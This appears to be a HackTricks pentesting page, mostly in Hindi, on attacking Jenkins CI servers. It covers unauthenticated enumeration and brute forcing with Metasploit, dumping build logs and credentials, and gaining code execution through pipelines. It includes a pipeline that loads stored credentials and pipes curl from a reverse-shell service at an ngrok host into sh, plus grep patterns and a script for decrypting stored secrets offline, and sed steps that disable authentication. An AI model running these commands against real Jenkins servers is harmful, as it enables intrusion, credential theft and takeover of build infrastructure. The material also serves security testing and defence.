Jenkins Security

Support HackTricks

Basic Information

Jenkins एक ऐसा उपकरण है जो लगभग किसी भी प्रोग्रामिंग भाषाओं और स्रोत कोड रिपॉजिटरी के लिए निरंतर एकीकरण या निरंतर वितरण (CI/CD) वातावरण स्थापित करने के लिए एक सीधा तरीका प्रदान करता है। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins व्यक्तिगत चरणों के लिए स्क्रिप्ट बनाने की आवश्यकता को समाप्त नहीं करता, यह निर्माण, परीक्षण और तैनाती उपकरणों के पूरे अनुक्रम को एक साथ जोड़ने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जो कि मैन्युअल रूप से आसानी से बनाया जा सकता है।

Unauthenticated Enumeration

बिना प्रमाणीकरण के दिलचस्प Jenkins पृष्ठों की खोज करने के लिए जैसे (/people या /asynchPeople, यह वर्तमान उपयोगकर्ताओं की सूची बनाता है) आप उपयोग कर सकते हैं:

msf> use auxiliary/scanner/http/jenkins_enum

कमांड्स को बिना प्रमाणीकरण की आवश्यकता के निष्पादित करने की जांच करें:

msf> use auxiliary/scanner/http/jenkins_command

बिना क्रेडेंशियल्स के आप /asynchPeople/ पथ या /securityRealm/user/admin/search/index?q= में यूजरनेम देख सकते हैं।

आप /oops या /error पथ से Jenkins संस्करण प्राप्त कर सकते हैं।

ज्ञात कमजोरियाँ

लॉगिन

बुनियादी जानकारी में आप Jenkins के अंदर लॉगिन करने के सभी तरीके देख सकते हैं:

रजिस्टर

आप उन Jenkins उदाहरणों को खोजने में सक्षम होंगे जो आपको एक खाता बनाने और इसके अंदर लॉगिन करने की अनुमति देते हैं। बस इतना ही।

SSO लॉगिन

यदि SSO कार्यात्मकता/प्लगइन्स मौजूद थे तो आपको एक परीक्षण खाते (जैसे, एक परीक्षण Github/Bitbucket खाता) का उपयोग करके एप्लिकेशन में लॉग-इन करने का प्रयास करना चाहिए। यहां से ट्रिक करें।

ब्रूटफोर्स

Jenkins में पासवर्ड नीति और यूजरनेम ब्रूट-फोर्स शमन की कमी है। यह ब्रूट-फोर्स उपयोगकर्ताओं के लिए आवश्यक है क्योंकि कमजोर पासवर्ड या पासवर्ड के रूप में यूजरनेम का उपयोग हो सकता है, यहां तक कि पासवर्ड के रूप में उल्टे यूजरनेम भी हो सकते हैं।

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Use this python script or this powershell script.

IP Whitelisting Bypass

कई संगठन SaaS-आधारित स्रोत नियंत्रण प्रबंधन (SCM) सिस्टम जैसे GitHub या GitLab को आंतरिक, स्वयं-होस्टेड CI समाधान जैसे Jenkins या TeamCity के साथ मिलाते हैं। यह सेटअप CI सिस्टम को SaaS स्रोत नियंत्रण विक्रेताओं से वेबहुक घटनाओं को प्राप्त करने की अनुमति देता है, मुख्य रूप से पाइपलाइन नौकरियों को ट्रिगर करने के लिए।

इसको प्राप्त करने के लिए, संगठन SCM प्लेटफार्मों के IP रेंज को व्हाइटलिस्ट करते हैं, जिससे उन्हें वेबहुक के माध्यम से आंतरिक CI सिस्टम तक पहुँचने की अनुमति मिलती है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि कोई भी GitHub या GitLab पर खाता बना सकता है और इसे वेबहुक को ट्रिगर करने के लिए कॉन्फ़िगर कर सकता है, संभावित रूप से आंतरिक CI सिस्टम को अनुरोध भेज सकता है।

Check: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

इन परिदृश्यों में हम मान लेंगे कि आपके पास Jenkins तक पहुँचने के लिए एक वैध खाता है।

Jenkins में कॉन्फ़िगर की गई Authorization तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर, आप निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।

For more information check the basic information:

Listing users

यदि आपने Jenkins तक पहुँच प्राप्त कर ली है, तो आप http://127.0.0.1:8080/asynchPeople/ पर अन्य पंजीकृत उपयोगकर्ताओं की सूची देख सकते हैं।

Dumping builds to find cleartext secrets

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

SSH क्रेडेंशियल चुराना

यदि समझौता किया गया उपयोगकर्ता एक नया Jenkins नोड बनाने/संशोधित करने के लिए पर्याप्त विशेषाधिकार रखता है और SSH क्रेडेंशियल पहले से अन्य नोड्स तक पहुँचने के लिए संग्रहीत हैं, तो वह उन क्रेडेंशियल्स को चुरा सकता है एक नोड बनाकर/संशोधित करके और एक होस्ट सेट करके जो क्रेडेंशियल्स को रिकॉर्ड करेगा बिना होस्ट कुंजी की पुष्टि किए:

आप आमतौर पर Jenkins ssh क्रेडेंशियल्स को वैश्विक प्रदाता (/credentials/) में पाएंगे, इसलिए आप उन्हें किसी अन्य रहस्य की तरह डंप भी कर सकते हैं। अधिक जानकारी के लिए रहस्यों को डंप करने के अनुभाग में देखें।

Jenkins में RCE

Jenkins सर्वर में शेल प्राप्त करना हमलावर को सभी रहस्यों और env वेरिएबल्स को लीक करने और एक ही नेटवर्क में स्थित अन्य मशीनों का शोषण करने का अवसर देता है या यहां तक कि क्लाउड क्रेडेंशियल्स इकट्ठा करने का भी।

डिफ़ॉल्ट रूप से, Jenkins SYSTEM के रूप में चलेगा। इसलिए, इसे समझौता करने से हमलावर को SYSTEM विशेषाधिकार मिलेंगे।

RCE प्रोजेक्ट बनाना/संशोधित करना

प्रोजेक्ट बनाना/संशोधित करना Jenkins सर्वर पर RCE प्राप्त करने का एक तरीका है:

RCE Groovy स्क्रिप्ट निष्पादित करना

आप एक Groovy स्क्रिप्ट निष्पादित करके भी RCE प्राप्त कर सकते हैं, जो एक नया प्रोजेक्ट बनाने की तुलना में अधिक छिपा हुआ हो सकता है:

RCE पाइपलाइन बनाना/संशोधित करना

आप पाइपलाइन बनाकर/संशोधित करके भी RCE प्राप्त कर सकते हैं:

पाइपलाइन शोषण

पाइपलाइनों का शोषण करने के लिए आपको अभी भी Jenkins तक पहुँच प्राप्त करनी होगी।

बिल्ड पाइपलाइन्स

पाइपलाइन्स को प्रोजेक्ट्स में बिल्ड तंत्र के रूप में भी उपयोग किया जा सकता है, इस मामले में इसे रेपोजिटरी के अंदर एक फ़ाइल के रूप में कॉन्फ़िगर किया जा सकता है जो पाइपलाइन सिंटैक्स को शामिल करेगा। डिफ़ॉल्ट रूप से /Jenkinsfile का उपयोग किया जाता है:

यह भी संभव है कि पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए (उदाहरण के लिए अन्य रेपोजिटरी में) जिसका लक्ष्य रेपोजिटरी की पहुँच और पाइपलाइन पहुँच को अलग करना है।

यदि एक हमलावर के पास उस फ़ाइल पर लिखने की पहुँच है तो वह इसे संशोधित कर सकेगा और संभावित रूप से ट्रिगर कर सकेगा पाइपलाइन को बिना Jenkins तक पहुँच के। संभव है कि हमलावर को कुछ शाखा सुरक्षा को बायपास करना पड़े (प्लेटफ़ॉर्म और उपयोगकर्ता विशेषाधिकार के आधार पर, उन्हें बायपास किया जा सकता है या नहीं)।

कस्टम पाइपलाइन को निष्पादित करने के लिए सबसे सामान्य ट्रिगर्स हैं:

  • मुख्य शाखा पर पुल अनुरोध (या संभावित रूप से अन्य शाखाओं पर)

  • मुख्य शाखा पर पुश (या संभावित रूप से अन्य शाखाओं पर)

  • मुख्य शाखा को अपडेट करें और प्रतीक्षा करें जब तक कि इसे किसी तरह निष्पादित नहीं किया जाता

यदि आप एक बाहरी उपयोगकर्ता हैं तो आपको अन्य उपयोगकर्ता/संस्थान के रेपोजिटरी की मुख्य शाखा पर PR बनाने और पाइपलाइन को ट्रिगर करने की उम्मीद नहीं करनी चाहिए... लेकिन यदि यह खराब कॉन्फ़िगर किया गया है तो आप पूरी तरह से कंपनियों को केवल इसका शोषण करके समझौता कर सकते हैं

पाइपलाइन RCE

पिछले RCE अनुभाग में पहले से ही एक तकनीक का संकेत दिया गया था पाइपलाइन को संशोधित करके RCE प्राप्त करने के लिए

Env वेरिएबल्स की जाँच करना

यह संभव है कि पूरी पाइपलाइन या विशिष्ट चरणों के लिए स्पष्ट पाठ env वेरिएबल्स घोषित किए जाएं। ये env वेरिएबल्स संवेदनशील जानकारी नहीं होनी चाहिए, लेकिन एक हमलावर हमेशा सभी पाइपलाइन कॉन्फ़िगरेशन/Jenkinsfiles की जाँच कर सकता है:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

रहस्यों को डंप करना

Jenkins द्वारा रहस्यों के साथ सामान्यतः कैसे व्यवहार किया जाता है, इसके बारे में जानकारी के लिए बुनियादी जानकारी देखें:

क्रेडेंशियल्स को वैश्विक प्रदाताओं (/credentials/) या विशिष्ट परियोजनाओं (/job/<project-name>/configure) के लिए स्कोप किया जा सकता है। इसलिए, सभी को निकालने के लिए आपको कम से कम सभी परियोजनाओं से समझौता करना होगा जो रहस्यों को शामिल करती हैं और कस्टम/जहरीले पाइपलाइनों को निष्पादित करना होगा।

एक और समस्या है, पाइपलाइन के env के अंदर एक रहस्य प्राप्त करने के लिए आपको रहस्य का नाम और प्रकार जानना होगा। उदाहरण के लिए, यदि आप एक usernamePassword रहस्य को string रहस्य के रूप में लोड करने की कोशिश करते हैं, तो आपको यह त्रुटि मिलेगी:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

यहाँ कुछ सामान्य गुप्त प्रकार लोड करने का तरीका है:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

इस पृष्ठ के अंत में आप सभी क्रेडेंशियल प्रकार पा सकते हैं: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

सभी रहस्यों को एक साथ डंप करने का सबसे अच्छा तरीका Jenkins मशीन को समझौता करना है (उदाहरण के लिए बिल्ट-इन नोड में एक रिवर्स शेल चलाना) और फिर मास्टर कीज़ और एन्क्रिप्टेड रहस्यों को लीक करना और उन्हें ऑफ़लाइन डिक्रिप्ट करना। इस बारे में अधिक जानकारी Nodes & Agents section और Post Exploitation section में है।

ट्रिगर्स

दस्तावेज़ों से: triggers निर्देश स्वचालित तरीकों को परिभाषित करता है जिनमें पाइपलाइन को फिर से ट्रिगर किया जाना चाहिए। उन पाइपलाइनों के लिए जो GitHub या BitBucket जैसे स्रोत के साथ एकीकृत हैं, triggers आवश्यक नहीं हो सकते हैं क्योंकि वेबहुक-आधारित एकीकरण पहले से ही मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स हैं cron, pollSCM और upstream.

क्रोन उदाहरण:

triggers { cron('H */4 * * 1-5') }

Check other examples in the docs.

Nodes & Agents

A Jenkins instance might have different agents running in different machines. From an attacker perspective, access to different machines means different potential cloud credentials to steal or different network access that could be abuse to exploit other machines.

For more information check the basic information:

You can enumerate the configured nodes in /computer/, you will usually find the Built-In Node (which is the node running Jenkins) and potentially more:

It is विशेष रूप से दिलचस्प Built-In node को समझौता करना क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।

To indicate you want to run the pipeline in the built-in Jenkins node you can specify inside the pipeline the following config:

pipeline {
agent {label 'built-in'}

पूरा उदाहरण

एक विशेष एजेंट में पाइपलाइन, एक क्रोन ट्रिगर के साथ, पाइपलाइन और स्टेज पर्यावरण चर के साथ, एक चरण में 2 चर लोड करना और एक रिवर्स शेल भेजना:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

मनमाने फ़ाइल पढ़ने से RCE

RCE

पोस्ट एक्सप्लॉइटेशन

मेटास्प्लॉइट

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

आप /credentials/ को एक्सेस करके सीक्रेट्स की सूची बना सकते हैं यदि आपके पास पर्याप्त अनुमतियाँ हैं। ध्यान दें कि यह केवल credentials.xml फ़ाइल के अंदर के सीक्रेट्स की सूची बनाएगा, लेकिन बिल्ड कॉन्फ़िगरेशन फ़ाइलें में भी अधिक क्रेडेंशियल्स हो सकते हैं।

यदि आप प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं, तो आप वहाँ क्रेडेंशियल्स (सीक्रेट्स) के नाम भी देख सकते हैं जो रिपॉजिटरी और प्रोजेक्ट के अन्य क्रेडेंशियल्स को एक्सेस करने के लिए उपयोग किए जा रहे हैं।

From Groovy

From disk

इन फ़ाइलों की आवश्यकता है Jenkins सीक्रेट्स को डिक्रिप्ट करने के लिए:

  • secrets/master.key

  • secrets/hudson.util.Secret

ऐसे सीक्रेट्स आमतौर पर मिल सकते हैं:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

यहाँ उन्हें खोजने के लिए एक regex है:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins रहस्यों को ऑफ़लाइन डिक्रिप्ट करें

यदि आपने रहस्यों को डिक्रिप्ट करने के लिए आवश्यक पासवर्ड्स को डंप किया है, तो उन रहस्यों को डिक्रिप्ट करने के लिए यह स्क्रिप्ट का उपयोग करें

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Groovy से Jenkins रहस्यों को डिक्रिप्ट करें

println(hudson.util.Secret.decrypt("{...}"))

नया प्रशासनिक उपयोगकर्ता बनाएं

  1. /var/lib/jenkins/config.xml या C:\Program Files (x86)\Jenkis\ में Jenkins config.xml फ़ाइल तक पहुँचें।

  2. <useSecurity>true</useSecurity> शब्द के लिए खोजें और शब्द true को false में बदलें।

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Jenkins सर्वर को पुनः प्रारंभ करें: service jenkins restart

  5. अब फिर से Jenkins पोर्टल पर जाएं और इस बार Jenkins कोई प्रमाण पत्र नहीं मांगेगा। आप प्रशासक पासवर्ड फिर से सेट करने के लिए "Manage Jenkins" पर नेविगेट करें।

  6. सेटिंग्स को <useSecurity>true</useSecurity> में बदलकर सुरक्षा को फिर से सक्षम करें और Jenkins को फिर से पुनः प्रारंभ करें।

संदर्भ

HackTricks का समर्थन करें

Last updated